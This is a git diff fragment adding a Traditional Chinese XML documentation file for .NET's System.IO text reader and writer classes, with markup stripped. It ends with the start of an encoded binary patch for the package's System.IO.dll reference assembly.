+ 發生 I/O 錯誤。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + 1 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + 已處置資料流。 + + + 提供 StreamWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將一個字元寫入資料流。 + 要寫入資料流的字元。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元陣列寫入資料流。 + 含有要寫入之資料的字元陣列。如果 是 null，則不寫入任何資料。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元子陣列寫入資料流。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字串寫入資料流。 + 要寫入資料流的字串。如果 是 Null，則不會寫入任何資料。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入資料流。 + 表示非同步寫入作業的工作。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字串。如果 是 null，則不寫入任何資料。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 將行結束字元以非同步方式寫入資料流。 + 表示非同步寫入作業的工作。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 實作讀取字串的 。 + 2 + + + 初始化 類別的新執行個體，這個執行個體會從指定的字串讀取。 + + 應該初始化的目的字串。 + + 參數為 null。 + + + 釋放 使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取下一個字元，並將字元位置前移一個字元。 + 基礎字串的下一個字元；如果不再有字元可供使用，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取字元區塊，並將字元位置前移 個字元。 + 讀入緩衝區的字元總數。如果目前無法提供那麼多的字元數，則這個數目可能小於所要求的字元數，或如果已經到達基礎字串的末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + 緩衝區中的起始索引。 + 要讀取的字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負數。 + 目前的讀取器已關閉。 + 2 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自目前字串讀取一行字元，並將資料以字串傳回。 + 目前字串的下一行，如果已到達字串的結尾，則為 null。 + 目前的讀取器已關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 2 + + + 自目前字串非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 基礎字串從目前位置至結尾的內容。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 目前的讀取器已關閉。 + 2 + + + 非同步讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到字串結尾的字元。 + 字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 實作 以便將資訊寫入字串。資訊儲存在基礎 中。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的控制項格式，初始化 類別的新執行個體。 + 控制格式的 物件。 + + + 初始化 類別的新執行個體，這個執行個體可寫入至指定的 。 + 要寫入至其中的 StringBuilder。 + + 為 null。 + + + 初始化 類別的新執行個體，這個執行個體會寫入至指定的 ，並且具有指定的格式提供者。 + 要寫入至其中的 StringBuilder。 + 控制格式的 物件。 + + 為 null。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得寫入輸出的 。 + 寫入輸出的 Encoding。 + 1 + + + 以非同步的方式清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + + + 傳回基礎 。 + 基礎 StringBuilder。 + 2 + + + 傳回字串，包含被寫入至目前 StringWriter 的字元。 + 字串，包含被寫入至目前 StringWriter 的字元。 + 2 + + + 將一個字元寫入至字串。 + 要寫入的字元。 + 寫入器關閉。 + 2 + + + 將字元子陣列寫入至字串。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 或 為負數。 + ( + )> 。Length. + 寫入器關閉。 + 2 + + + 將字串寫入至目前字串。 + 要寫入的字串。 + 寫入器關閉。 + 2 + + + 以非同步方式將字元寫入至字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入至字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入至目前字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串至文字資料流。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入至目前的字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 代表可以讀取一連串連續字元的讀取器 (Reader)。 + 2 + + + 初始化 類別的新執行個體。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 提供未讀取資料的 TextReader。 + 1 + + + 讀取下一個字元，而不會變更讀取器或字元來源的狀態。傳回下一個可用字元，而不會實際從讀取器讀取。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或讀取器不支援搜尋，則為 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 自文字讀取器讀取下一個字元，並將字元位置前移一個字元。 + 文字讀取器的下一個字元；如果不再有字元可供使用，則為 -1。預設的實作會傳回 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於資料是否在讀取器裡可供使用。如果不再有字元可供讀取時呼叫，這個方法傳回 0 (零)。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達讀取器末端，則方法會返回。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的文字讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，這個參數會包含具有介於 和 ( + -1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 2 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自文字讀取器讀取一行字元，並將資料以字串傳回。 + 讀取器的下一行，或者如果所有字元都被讀取，則為 null。 + 發生 I/O 錯誤。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + + 已經關閉。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含文字讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 字串，包含從目前位置到文字讀取器結尾的所有字元。 + 發生 I/O 錯誤。 + + 已經關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到文字讀取器結尾的字元。 + 字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 代表可以寫入一連串連續字元的寫入器。這個類別是抽象的。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的格式提供者，初始化 類別的新執行個體。 + 控制格式設定的 物件。 + + + 儲存這個 TextWriter 所使用的新行字元。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫該屬性時，傳回用於寫入輸出的字元編碼。 + 寫入輸出時使用的字元編碼。 + 1 + + + 清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 以非同步的方式清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 文字寫入器已處置。 + 寫入器目前由先前寫入作業所使用。 + + + 取得控制格式設定的物件。 + 特定文化特性的 物件，或者目前文化特性的格式 (如果未指定其他文化特性)。 + 2 + + + 取得或設定目前 TextWriter 所使用的行結束字元字串。 + 目前 TextWriter 的行結束字元字串。 + 2 + + + 提供 TextWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將 Boolean 值的文字表示寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列寫入到文字字串或資料流。 + 要寫入到文字資料流的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元的子陣列寫入到文字字串或資料流。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 呼叫該物件的 ToString 方法，將物件的文字表示寫入至文字字串或資料流。 + 要寫入的物件。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串寫入到文字字串或資料流。 + 要寫入的字串。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零) 或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + + 或 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果 是 null，則不寫入任何資料。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串到文字資料流。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 將行結束字元寫入到文字字串或資料流。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 Boolean 值的文字表示，並加上行結束字元寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 中開始讀取資料的字元位置。 + 要寫入的最大字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 透過呼叫該物件上的 ToString 方法，將該物件的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的物件。如果 為 null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入的字串。如果 為 null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + 傳入的字串或物件為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將行結束字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果字元陣列是 null，則只有行結束字元會被寫入。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/System.IO.dll b/packages/System.IO.4.3.0/ref/netstandard1.0/System.IO.dll new file mode 100644 index 0000000000000000000000000000000000000000..97702f121c6806139303d133453c27092e47e89c GIT binary patch literal 30128 zcmeHv2UrwMvu@AqvLwkt1d$~N1!hTtiXusns30h!#3d-Ouq??)P*gq-9>V*yZeUz|Dm$6ai{(covZErBl6V4kB$v%kOJc_- zv0eQF*onMou7#YOjDd)?zZ*i{1Os`7e(`Is?Jgp9WeHh?EFeZo7<gTg}?RM|Er)#d%&O0x^M8-N_;fL4a1rvulytC0fKIg86LGqnTY_0d(?>yw(Z=bD#UYTg#c<#S;(f}>~!O2Z~DGFoO~LToY{*sQ9($??B}P9su_#^C!=omoByhG zq^emj^;9)n+)Tf{f1=#->f>-oQxC_R0XHEN9Q|`uKVxy#IJ2-3e@B6Zx~La__H=-$ zfUEv*J#qW#|9?>tEk;BPGSV?B?~%+NDjmhaOvTesMt9Fd>Ef`J%@Cqo=5>u>Zm~iusBIKUL6W1`5-J z(i6A39d>;5#;PD(VuevZMC9t z5*8Cy`4bC($T?uBGl2+t#bN!GZeu}NSX0&Hj z72?l8SRQ3C!Wr_YgfSE7E(o)bg#<2jN&@Hk$iiVgNkvH(a-eAtO$9V9r0H6k*3t9^ zO+V69TMC!5r|B>$%qK%CR*Hp|(=j_~`beq)VhCwWb!j?CIu?sh)CXuH{8L04&|hel z2w94dHk~#AkR0^gfkqyH6ahKXXp9IsA%ajusiK@7CF|8SV#P3viJc&^Z2!}95Iow zfgZmTp=mVwC`R^>_C<`Gp#N<&nvP~cP6dQ?5nK(#GQtB8Lxk27-hfylR7Lm$k`|%; zL=Z^2n+P2xLI5d<&=n#a#-_UnH4|JwdLs0KhzDdSLLZ@aC1fH(1epk^j|j<0~#Pgc4Q8qK_WDmoDRr^M$=#%i~xDjNH{7=C_s!9kun-B zMjA*JMbSt&D&0{GjfA7p9mUZ|I4a%IIAKmAhBSh;kRU<{=qvc2o z3B+g>Xo_?(T933*rWjQsHku$t)i7L>#ArX#LsP`)2+ZMZF=|9cC|8WmAY(L5j4Y7} z$`_-H$P~>Kqie_v6^Kz2>WyZLQ8TQqIb!q}nWMR4^c)P+`C{}MS)zqBnuan+OE5$i z(+Er62yxH~F=__1R*XI%E3{RN+F-rz5+fs6j|au58Bl{5eL#KD88I>feRD;OngQJw zqYtPbdL%{+VgPz6M$*JU^g)QE{(yNl7=5NugVYileG?+IhDJZc<%}SwByI5F{xt(q z5Tg%ZN_VG`a1P?V244+w2T2dqflkm!htAm`eWgpQ5u#TJaZl9W_YcwK5DjinwfI*b>8#lZeYEMn6Ept3hHK zVULC*7g5dwjKRbR1eSC;W?3x zmWmLb6X|FfjgBI`lVqS3!Zd`(ArqB}5SDxytu2w_=ILYqYh%Q_ov6Co_? zY_vm!u&i@YwGa_L%=ttf+9OKClFvi?Lhz zA{L{EBD8{;g-TG12(4otAWG0P5vr!sUW!mHo%WhW!d<2WeHNoeVksi9K}g#LieSk| zi;)Ieft1AP98r#Xh|vwA0_oC7xF2mq1|oEZ`H9tw2uo=b;)oEI(k5ghMoxhGi4d03R^%u`SV~pMMTD@Fb|QBX!cy9eJVgjg zX*co~AuOfc$WMf@ly;-xG!l;OZWJO$A0bV6HOLK=cu4F)k-~D)UJ`A9xFR%GA`84w zaUwKMq8ZRQ8VP5}UX(y1;SAY}l7u~C79p&A_Mub}!u#~T_Sz*<$V#*yrHRw3 zQ4Puvqy6Xr$`Yd^=n$GHMvbTrO%@|dbQnz)ql@SW$`K=yJc{zfs0r1h>0;E38qf?e zk|d9zSz`1YHKISn=ruZl3PtEVL!LZ|=F%u1ooA?$r_cg%nihE)EfymK@*FA=p>zo& zbRLz8kr|-nVpNGPpp{}&jV_{cG1`wVq19q^1YJcHV$=xs_Bt`LMAy*# 